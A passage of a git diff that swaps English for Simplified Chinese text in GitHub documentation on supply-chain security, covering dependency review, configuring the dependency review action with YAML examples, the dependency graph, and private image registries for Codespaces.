probably need to use secrets in other places. For example, to allow {% data variables.product.prodname_actions %} workflows{% ifversion ghes %} or {% data variables.product.prodname_dependabot %}{% endif %} to communicate with other systems. For more information on how to securely store and use secrets, see "[Encrypted secrets in Actions](/actions/security-guides/encrypted-secrets){% ifversion ghes %}" and "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)."{% else %}."{% endif %} -{% endif %} +{% ifversion ghes or ghae %} 除了代码,你可能还需要在其他地方使用机密。 例如,允许 {% data variables.product.prodname_actions %} 工作流{% ifversion ghes %}或 {% data variables.product.prodname_dependabot %}{% endif %} 与其他系统通信。 有关如何安全地存储和使用机密的详细信息,请参阅“[操作中的加密机密](/actions/security-guides/encrypted-secrets){% ifversion ghes %}”和“[管理 Dependabot 的加密机密](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)”{% else %}。{% endif %} {% endif %} -## Keep vulnerable coding patterns out of your repository +## 将易受攻击的编码模式排除在存储库之外 {% note %} -**Note:** {% data reusables.gated-features.code-scanning %} +注意:{% data reusables.gated-features.code-scanning %} {% endnote %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -### Create a pull request review process +### 创建拉取请求评审过程 -You can improve the quality and security of your code by ensuring that all pull requests are reviewed and tested before they are merged. {% data variables.product.prodname_dotcom %} has many features you can use to control the review and merge process. To get started, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." +可以通过确保在合并拉取请求之前对其进行评审和测试,提高代码的质量和安全性。 {% data variables.product.prodname_dotcom %} 有许多可用于控制评审和合并过程的功能。 若要开始,请参阅“[关于受保护的分支](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)”。 -### Scan your code for vulnerable patterns +### 扫描代码中易受攻击的模式 -Insecure code patterns are often difficult for reviewers to spot unaided. In addition to scanning your code for secrets, you can check it for patterns that are associated with security vulnerabilities. For example, a function that isn't memory-safe, or failing to escaping user input that could lead to an injection vulnerability. {% data variables.product.prodname_dotcom %} offers several different ways to approach both how and when you scan your code. To get started, see "[About code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)." +审阅者通常很难在没有辅助的情况下发现不安全的代码模式。 除了扫描代码中的机密之外,还可以检查它是否有与安全漏洞关联的模式。 例如,一个非内存安全的函数,或者无法转义用户输入,可能会导致注入漏洞。 {% data variables.product.prodname_dotcom %} 提供了几种不同的方法来处理扫描代码的方式和时间。 若要开始,请参阅“[关于代码扫描](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning)”。 -## Next steps +## 后续步骤 -- "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)" +- [保护端到端供应链](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview) -- "[Best practices for securing accounts](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts)" +- [确保帐户安全的最佳做法](/code-security/supply-chain-security/end-to-end-supply-chain/securing-accounts) -- "[Best practices for securing your build system](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds)" +- [保护生成系统的最佳做法](/code-security/supply-chain-security/end-to-end-supply-chain/securing-builds) diff --git a/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md b/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md index f11ae597a8..c3d74b76f1 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review.md @@ -1,6 +1,6 @@ --- -title: About dependency review -intro: 'Dependency review lets you catch insecure dependencies before you introduce them to your environment, and provides information on license, dependents, and age of dependencies.' +title: 关于依赖项评审 +intro: 依赖项审查可让你在将有不安全的依赖项引入你的环境之前找到它们,并提供关于许可证、依赖项和依赖项存在时间的信息。 product: '{% data reusables.gated-features.dependency-review %}' shortTitle: Dependency review versions: @@ -17,50 +17,53 @@ topics: - Pull requests redirect_from: - /code-security/supply-chain-security/about-dependency-review +ms.openlocfilehash: 36a80324e75f6ffbe96a2b46016d56561da931f0 +ms.sourcegitcommit: 73b91dd4cdf592eadec4252319379d6fbe92858e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164112' --- - -## About dependency review +## 关于依赖项评审 {% data reusables.dependency-review.feature-overview %} -If a pull request targets your repository's default branch and contains changes to package manifests or lock files, you can display a dependency review to see what has changed. The dependency review includes details of changes to indirect dependencies in lock files, and it tells you if any of the added or updated dependencies contain known vulnerabilities. +如果拉取请求针对仓库的默认分支并且包含对包清单或锁定文件的更改,您可以显示依赖项审查以查看更改的内容。 依赖项审查包括对锁定文件中间接依赖项的更改详情,并告诉您任何已添加或更新的依赖项是否包含已知漏洞。 -Sometimes you might just want to update the version of one dependency in a manifest and generate a pull request. However, if the updated version of this direct dependency also has updated dependencies, your pull request may have more changes than you expected. The dependency review for each manifest and lock file provides an easy way to see what has changed, and whether any of the new dependency versions contain known vulnerabilities. +有时,您可能只想更新清单中一个依赖项的版本并生成拉取请求。 但是,如果此直接依赖项的更新版本也更新了依赖项,则拉取请求的更改可能超过您的预期。 每个清单和锁定文件的依赖项审查提供了一种简单的方法来查看更改的内容,以及任何新的依赖项版本是否包含已知的漏洞。 -By checking the dependency reviews in a pull request, and changing any dependencies that are flagged as vulnerable, you can avoid vulnerabilities being added to your project. For more information about how dependency review works, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." +通过检查拉取请求中的依赖项审查并更改被标记为有漏洞的任何依赖项,可以避免将漏洞添加到项目中。 有关依赖项审查工作原理的详细信息,请参阅“[查看拉取请求中的依赖项更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。 -For more information about configuring dependency review, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review)." +有关配置依赖项评审的详细信息,请参阅“[配置依赖项评审](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review)”。 -{% data variables.product.prodname_dependabot_alerts %} will find vulnerabilities that are already in your dependencies, but it's much better to avoid introducing potential problems than to fix problems at a later date. For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)." +{% data variables.product.prodname_dependabot_alerts %} 将会查找依赖项中存在的漏洞,但避免引入潜在问题比在以后修复它们要好得多。 有关 {% data variables.product.prodname_dependabot_alerts %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)”。 -Dependency review supports the same languages and package management ecosystems as the dependency graph. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)." +依赖项审查支持与依赖关系图相同的语言和包管理生态系统。 有关详细信息,请参阅“[关于依赖项关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)”。 -For more information on supply chain features available on {% data variables.product.product_name %}, see "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)." +有关 {% data variables.product.product_name %} 上提供的供应链功能的详细信息,请参阅“[关于供应链安全性](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)”。 {% ifversion ghec or ghes %} -## Enabling dependency review +## 启用依赖项审查 -The dependency review feature becomes available when you enable the dependency graph. For more information, see "{% ifversion ghec %}[Enabling the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph){% elsif ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% endif %}." +启用依赖关系图时,依赖项审查功能可用。 有关详细信息,请参阅“{% ifversion ghec %} [启用依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph){% elsif ghes %}[为企业启用依赖项关系图](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% endif %}”。 {% endif %} {% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.5 %} -## Dependency review enforcement +## 强制实施依赖项审查 -The action is available for all {% ifversion fpt or ghec %}public repositories, as well as private {% endif %}repositories that have {% data variables.product.prodname_GH_advanced_security %} enabled. +该操作适用于所有 {% ifversion fpt or ghec %}公共存储库,以及启用了 {% data variables.product.prodname_GH_advanced_security %} 的专用 {% endif %}存储库。 {% data reusables.dependency-review.action-enterprise %} -You can use the {% data variables.dependency-review.action_name %} in your repository to enforce dependency reviews on your pull requests. The action scans for vulnerable versions of dependencies introduced by package version changes in pull requests, and warns you about the associated security vulnerabilities. This gives you better visibility of what's changing in a pull request, and helps prevent vulnerabilities being added to your repository. For more information, see [`dependency-review-action`](https://github.com/actions/dependency-review-action). +可以使用存储库中的 {% data variables.product.prodname_dependency_review_action %} 对拉取请求强制实施依赖项审查。 该操作会扫描拉取请求中包版本更改引入的易受攻击的依赖项版本,并警告你相关的安全漏洞。 这样可以更好地了解拉取请求中发生的变化,并帮助防止漏洞添加到存储库中。 有关详细信息,请参阅 [`dependency-review-action`](https://github.com/actions/dependency-review-action)。 -![Dependency review action example](/assets/images/help/graphs/dependency-review-action.png) +![依赖项审查操作示例](/assets/images/help/graphs/dependency-review-action.png) -By default, the {% data variables.dependency-review.action_name %} check will fail if it discovers any vulnerable packages. A failed check blocks a pull request from being merged when the repository owner requires the dependency review check to pass. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)." +默认情况下,如果 {% data variables.product.prodname_dependency_review_action %} 检查发现任何易受攻击的包,它将失败。 当存储库所有者需要依赖项审查检查才能通过时,失败的检查将阻止拉取请求合并。 有关详细信息,请参阅“[关于受保护的分支](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-status-checks-before-merging)”。 -The action uses the Dependency Review REST API to get the diff of dependency changes between the base commit and head commit. You can use the Dependency Review API to get the diff of dependency changes, including vulnerability data, between any two commits on a repository. For more information, see "[Dependency review](/rest/reference/dependency-graph#dependency-review)." +该操作使用依赖项审查 REST API 来获取基本提交和头提交之间的依赖项更改差异。 可以使用依赖项审查 API 获取存储库上任意两个提交之间的依赖项更改(包括漏洞数据)的差异。 有关详细信息,请参阅“[依赖项审查](/rest/reference/dependency-graph#dependency-review)”。 -{% ifversion dependency-review-action-configuration %} -You can configure the {% data variables.dependency-review.action_name %} to better suit your needs. For example, you can specify the severity level that will make the action fail{% ifversion dependency-review-action-licenses %}, or set an allow or deny list for licenses to scan{% endif %}. For more information, see "[Configuring dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)." -{% endif %} +{% ifversion dependency-review-action-configuration %} 可以配置 {% data variables.product.prodname_dependency_review_action %} 来更好地满足你的需求。 例如,可以指定将导致操作失败的严重级别{% ifversion dependency-review-action-licenses %},或者为要扫描的许可证设置允许或拒绝列表{% endif %}。 有关详细信息,请参阅“[配置依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review#configuring-the-dependency-review-github-action)”。 {% endif %} {% endif %} diff --git a/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md b/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md index bcd87f8bcc..8e9b522288 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md @@ -1,6 +1,6 @@ --- -title: Configuring dependency review -intro: You can use dependency review to catch vulnerabilities before they are added to your project. +title: 配置依赖项审查 +intro: 可以使用依赖项评审来捕获漏洞,以避免将其添加到项目中。 miniTocMaxHeadingLevel: 3 shortTitle: Configure dependency review versions: @@ -15,80 +15,71 @@ topics: - Vulnerabilities - Dependencies - Pull requests +ms.openlocfilehash: b5e5ccb5107cd96d1a88f896fd46d5b948a365cd +ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148163350' --- - -## About dependency review +## 关于依赖项评审 {% data reusables.dependency-review.feature-overview %} -For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)" and "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." +有关详细信息,请参阅“[关于依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)”和“[审查拉取请求中的依赖项更改](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)”。 -## About configuring dependency review +## 关于配置依赖项审查 -{% ifversion fpt %} -Dependency review is available in all public repositories in all products and cannot be disabled. Dependency review is available in private repositories owned by organizations that use GitHub Enterprise Cloud and have a license for [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security). For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review). +{% ifversion fpt %} 依赖项审查在所有产品的所有公共存储库中都可用,并且无法禁用。 依赖项审查在使用 GitHub Enterprise Cloud 并拥有 [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) 许可证的组织拥有的专用存储库中可用。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review)。 -{% elsif ghec %} -Dependency review is included in {% data variables.product.product_name %} for public repositories. To use dependency review in private repositories owned by organizations, you must have a license for [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) and have the dependency graph enabled. +{% elsif ghec %} 依赖项审查包含在公共存储库的 {% data variables.product.product_name %} 中。 若要在组织拥有的专用存储库中使用依赖项审查,必须具有 [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) 许可证并启用依赖项关系图。 {% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %} -1. If "{% data variables.product.prodname_GH_advanced_security %}" is not enabled, click **Enable** next to the feature. - ![Screenshot of GitHub Advanced Security feature with "Enable" button emphasized](/assets/images/help/security/enable-ghas-private-repo.png) +1. 如果尚未启用“{% data variables.product.prodname_GH_advanced_security %}”,请单击此功能旁边的“启用”。 + ![GitHub 高级安全功能的屏幕截图,其中突出显示了“启用”按钮](/assets/images/help/security/enable-ghas-private-repo.png) {% elsif ghes or ghae %} -Dependency review is available when dependency graph is enabled for {% data variables.location.product_location %} and {% data variables.product.prodname_advanced_security %} is enabled for the organization or repository.{% ifversion ghes %} For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise)."{% endif %} +为 {% data variables.location.product_location %} 启用依赖项关系图并且为组织或存储库启用 {% data variables.product.prodname_advanced_security %} 时,依赖项审查可用。{% ifversion ghes %} 有关详细信息,请参阅“[为企业启用 {% data variables.product.prodname_GH_advanced_security %}](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise)”。{% endif %} -### Checking if the dependency graph is enabled +### 检查是否已启用依赖项关系图 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Configure security and analysis features", check if the dependency graph is enabled. -1. If dependency graph is enabled, click **Enable** next to "{% data variables.product.prodname_GH_advanced_security %}" to enable {% data variables.product.prodname_advanced_security %}, including dependency review. The enable button is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% ifversion ghes %} - ![Screenshot of "Code security and analysis" features"](/assets/images/enterprise/3.4/repository/code-security-and-analysis-enable-ghas-3.4.png){% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. 在“配置安全性和分析功能”下,检查是否启用了依赖项关系图。 +1. 如果已启用依赖项关系图,请单击“{% data variables.product.prodname_GH_advanced_security %}”旁边的“启用”以启用 {% data variables.product.prodname_advanced_security %},其中包含了依赖项审查。 如果企业没有可用的 {% data variables.product.prodname_advanced_security %} 许可证,“启用”按钮会禁用。{% ifversion ghes %} ![“代码安全性和分析”功能的屏幕截图](/assets/images/enterprise/3.4/repository/code-security-and-analysis-enable-ghas-3.4.png){% endif %} {% endif %} {% ifversion dependency-review-action-configuration %} -## About configuring the {% data variables.dependency-review.action_name %} +## 关于配置 {% data variables.product.prodname_dependency_review_action %} {% data reusables.dependency-review.dependency-review-action-overview %} -The following configuration options are available. +可用配置选项如下。 -| Option | Required | Usage | +| 选项 | 必选 | 使用情况 | |------------------|-------------------------------|--------| -| `fail-on-severity` | Optional | Defines the threshold for level of severity (`low`, `moderate`, `high`, `critical`).
The action will fail on any pull requests that introduce vulnerabilities of the specified severity level or higher. | -{%- ifversion dependency-review-action-licenses %} -| `allow-licenses` | Optional | Contains a list of allowed licenses. You can find the possible values for this parameter in the [Licenses](/rest/licenses) page of the API documentation.
The action will fail on pull requests that introduce dependencies with licenses that do not match the list.|{% endif %} -{%- ifversion dependency-review-action-licenses %} -| `deny-licenses` | Optional | Contains a list of prohibited licenses. You can find the possible values for this parameter in the [Licenses](/rest/licenses) page of the API documentation.
The action will fail on pull requests that introduce dependencies with licenses that match the list.|{% endif %}{% ifversion dependency-review-action-fail-on-scopes %} -| `fail-on-scopes` | Optional | Contains a list of strings representing the build environments you want to support (`development`, `runtime`, `unknown`).
The action will fail on pull requests that introduce vulnerabilites in the scopes that match the list.|{% endif %} -| `allow-ghsas` | Optional | Contains a list of {% data variables.product.prodname_advisory_database %} IDs that can be skipped during detection. You can find the possible values for this parameter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories). | -| `config-file` | Optional | Specifies a path to a configuration file. The configuration file can be local to the repository or a file located in an external repository.| -| `external-repo-token` | Optional | Specifies a token for fetching the configuration file, if the file resides in a private external repository. The token must have read access to the repository.| +| `fail-on-severity` | 可选 | 定义严重性级别(`low`、`moderate`、`high`、`critical`)的阈值。
对于引入指定严重性级别或更高级别的漏洞的任何拉取请求,该操作都将失败。 | +{%- ifversion dependency-review-action-licenses %} | `allow-licenses` | 可选 | 包含允许的许可证列表。 可以在 API 文档的[许可证](/rest/licenses)页中找到此参数可能的值。
如果拉取请求引入许可证与列表不匹配的依赖项,该操作将失败。|{% endif %} {%- ifversion dependency-review-action-licenses %} | `deny-licenses` | 可选 | 包含禁止的许可证列表。 可以在 API 文档的[许可证](/rest/licenses)页中找到此参数可能的值。
如果拉取请求引入了具有与列表匹配的许可证的依赖项,该操作将失败。|{% endif %}{% ifversion dependency-review-action-fail-on-scopes %} | `fail-on-scopes` | 可选 | 包含表示要支持的生成环境的字符串列表(`development`、`runtime`、`unknown`)。
对于在与列表匹配的范围内引入漏洞的拉取请求,该操作将失败。|{% endif %} | `allow-ghsas` | 可选 | 包含检测过程中可以跳过的 {% data variables.product.prodname_advisory_database %} ID 列表。 可以在 [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories) 中找到此参数的可能值。 | | `config-file` | 可选 | 指定配置文件的路径。 配置文件可以是存储库的本地文件,也可以是位于外部存储库的文件。| | `external-repo-token` | 可选 | 如果文件驻留在专用外部存储库中,则指定用于提取配置文件的令牌。 令牌必须具有该存储库的读取权限。| -{% ifversion dependency-review-action-licenses %} -{% tip %} +{% ifversion dependency-review-action-licenses %} {% tip %} -**Tip:** The `allow-licenses` and `deny-licenses` options are mutually exclusive. +提示:`allow-licenses` 和 `deny-licenses` 选项互斥。 -{% endtip %} -{% endif %} +{% endtip %} {% endif %} -## Configuring the {% data variables.dependency-review.action_name %} +## 配置 {% data variables.product.prodname_dependency_review_action %} -There are two methods of configuring the {% data variables.dependency-review.action_name %}: -- Inlining the configuration options in your workflow file. -- Referencing a configuration file in your workflow file. +可以通过两种方法配置 {% data variables.product.prodname_dependency_review_action %}: +- 在工作流文件中内联配置选项。 +- 在工作流文件中引用配置文件。 -Notice that all of the examples use a short version number for the action (`v3`) instead of a semver release number (for example, `v3.0.8`). This ensures that you use the most recent minor version of the action. -### Using inline configuration to set up the {% data variables.dependency-review.action_name %} +请注意,所有示例使用操作 (`v3`) 的短版本号,而不是 semver 版本号(例如,`v3.0.8`)。 这可确保使用操作的最新次要版本。 +### 使用内联配置设置 {% data variables.product.prodname_dependency_review_action %} -1. Add a new YAML workflow to your `.github/workflows` folder. +1. 将新的 YAML 工作流添加到 `.github/workflows` 文件夹。 - {% ifversion ghes %}For `runs-on`, the default label is `self-hosted`. You can replace the default label with the label of any of your runners.{% endif %} + {% ifversion ghes %}对于 `runs-on`,默认标签为 `self-hosted`。 可以将默认标签替换为任何运行器的标签。{% endif %} ```yaml{:copy} name: 'Dependency Review' on: [pull_request] @@ -106,9 +97,9 @@ Notice that all of the examples use a short version number for the action (`v3`) - name: Dependency Review uses: actions/dependency-review-action@v3 ``` -1. Specify your settings. +1. 指定您的设置。 - This {% data variables.dependency-review.action_name %} example file illustrates how you can use the available configuration options. + 此 {% data variables.product.prodname_dependency_review_action %} 示例文件说明了如何使用可用的配置选项。 ```yaml{:copy} name: 'Dependency Review' on: [pull_request] @@ -146,11 +137,11 @@ Notice that all of the examples use a short version number for the action (`v3`) fail-on-scopes: development, runtime {% endif %} ``` -### Using a configuration file to set up {% data variables.dependency-review.action_name %} +### 使用配置文件设置 {% data variables.product.prodname_dependency_review_action %} -1. Add a new YAML workflow to your `.github/workflows` folder and use `config-file` to specify that you are using a configuration file. +1. 将新的 YAML 工作流添加到 `.github/workflows` 文件夹,并使用 `config-file` 指定正在使用配置文件。 - {% ifversion ghes %}For `runs-on`, the default label is `self-hosted`. You can replace the default label with the label of any of your runners.{% endif %} + {% ifversion ghes %}对于 `runs-on`,默认标签为 `self-hosted`。 可以将默认标签替换为任何运行器的标签。{% endif %} ```yaml{:copy} name: 'Dependency Review' on: [pull_request] @@ -178,9 +169,9 @@ Notice that all of the examples use a short version number for the action (`v3`) # Possible values: Any GitHub token with read access to the private external repository. external-repo-token: 'ghp_123456789abcde' ``` -1. Create the configuration file in the path you have specified. +1. 在指定路径中创建配置文件。 - This YAML example file illustrates how you can use the available configuration options. + 此 YAML 示例文件说明了如何使用可用的配置选项。 ```yaml{:copy} # Possible values: "critical", "high", "moderate", "low" fail-on-severity: critical @@ -211,5 +202,5 @@ Notice that all of the examples use a short version number for the action (`v3`) - runtime {% endif %} ``` -For further details about the configuration options, see [`dependency-review-action`](https://github.com/actions/dependency-review-action#readme). +有关配置选项的更多详细信息,请参阅 [`dependency-review-action`](https://github.com/actions/dependency-review-action#readme)。 {% endif %} diff --git a/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md b/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md index 3322d044d7..03bc408112 100644 --- a/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md +++ b/translations/zh-CN/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md @@ -1,6 +1,6 @@ --- -title: Configuring the dependency graph -intro: You can allow users to identify their projects' dependencies by enabling the dependency graph. +title: 配置依赖项关系图 +intro: 通过启用依赖项关系图,用户可识别其项目的依赖项。 redirect_from: - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph versions: @@ -14,39 +14,37 @@ topics: - Dependencies - Repositories shortTitle: Configure dependency graph +ms.openlocfilehash: 24dcaac4ddd994d544f6caa7d04529e1e4a5d569 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146684075' --- -## About the dependency graph +## 关于依赖关系图 {% data reusables.dependabot.about-the-dependency-graph %} -For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." +有关详细信息,请参阅“[关于依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)”。 {% ifversion fpt or ghec %} -## About configuring the dependency graph -To generate a dependency graph, {% data variables.product.product_name %} needs read-only access to the dependency manifest and lock files for a repository. The dependency graph is automatically generated for all public repositories and you can choose to enable it for private repositories. For more information on viewing the dependency graph, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)." +## 关于配置依赖项关系图 +要生成依赖项关系图,{% data variables.product.product_name %} 需要对存储库的依赖项清单和锁定文件具有只读访问权限。 依赖关系图自动为所有公共仓库生成,您可以选择为私有仓库启用它。 若要详细了解如何查看依赖项关系图,请参阅“[探索存储库的依赖项](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)”。 -{% data reusables.dependency-submission.dependency-submission-link %} -{% endif %} +{% data reusables.dependency-submission.dependency-submission-link %} {% endif %} -{% ifversion ghes %} ## Enabling the dependency graph -{% data reusables.code-scanning.enterprise-enable-dependency-graph %} -{% data reusables.dependabot.ghes-ghae-enabling-dependency-graph %}{% endif %}{% ifversion fpt or ghec %} +{% ifversion ghes %} ##启用依赖项关系图{% data reusables.dependabot.ghes-ghae-enabling-dependency-graph %}{% endif %}{% ifversion fpt or ghec %} -### Enabling and disabling the dependency graph for a private repository +### 为私有仓库启用或禁用依赖关系图 -{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %} +{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %} {% endif %} -{% data reusables.code-scanning.enterprise-enable-dependency-graph %} -{% endif %} +首次启用依赖关系图时,将立即剖析受支持的生态系统的任何清单和锁定文件。 依赖关系图通常在几分钟之内填充,但对于依赖项很多的仓库,可能需要更长时间。 启用后,该关系图将在每次推送到存储库{% ifversion fpt or ghec %}以及每次推送到该关系图中的其他存储库时自动更新{% endif %}。 -When the dependency graph is first enabled, any manifest and lock files for supported ecosystems are parsed immediately. The graph is usually populated within minutes but this may take longer for repositories with many dependencies. Once enabled, the graph is automatically updated with every push to the repository{% ifversion fpt or ghec %} and every push to other repositories in the graph{% endif %}. +{% ifversion ghes %} {% ifversion dependency-submission-api %}{% data reusables.dependency-submission.dependency-submission-link %}{% endif %} {% endif %} -{% ifversion ghes %} -{% ifversion dependency-submission-api %}{% data reusables.dependency-submission.dependency-submission-link %}{% endif %} -{% endif %} +## 延伸阅读 -## Further reading - -{% ifversion ghec %}- "[Viewing insights for your organization](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization)"{% endif %} -- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)" -- "[Troubleshooting the detection of vulnerable dependencies](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)" +{% ifversion ghec %}- [查看组织的见解](/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization){% endif %} +- “[查看和更新 {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)” +- [漏洞依赖项检测疑难解答](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies) diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md new file mode 100644 index 0000000000..5fa8b4abe4 --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md @@ -0,0 +1,125 @@ +--- +title: 允许代码空间访问私有映像注册表 +intro: 你可以使用密钥允许 {% data variables.product.prodname_github_codespaces %} 访问私有映像注册表 +versions: + fpt: '*' + ghec: '*' +topics: +- Codespaces +shortTitle: Private image registry +ms.openlocfilehash: c11cfe0179856caf17f30ac32830ee1485defa3c +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159203" +--- +## 关于私人映像注册表和 {% data variables.product.prodname_github_codespaces %} + +注册表是用于存储、管理和提取专用容器映像的安全空间。 您可以使用一个来存储一个或多个映像。 注册表的示例很多,例如 {% data variables.product.prodname_container_registry %}、{% data variables.product.prodname_npm_registry %}、Azure 容器注册表或 DockerHub。 + +{% data variables.packages.prodname_ghcr_and_npm_registry %} 可以配置为允许在创建 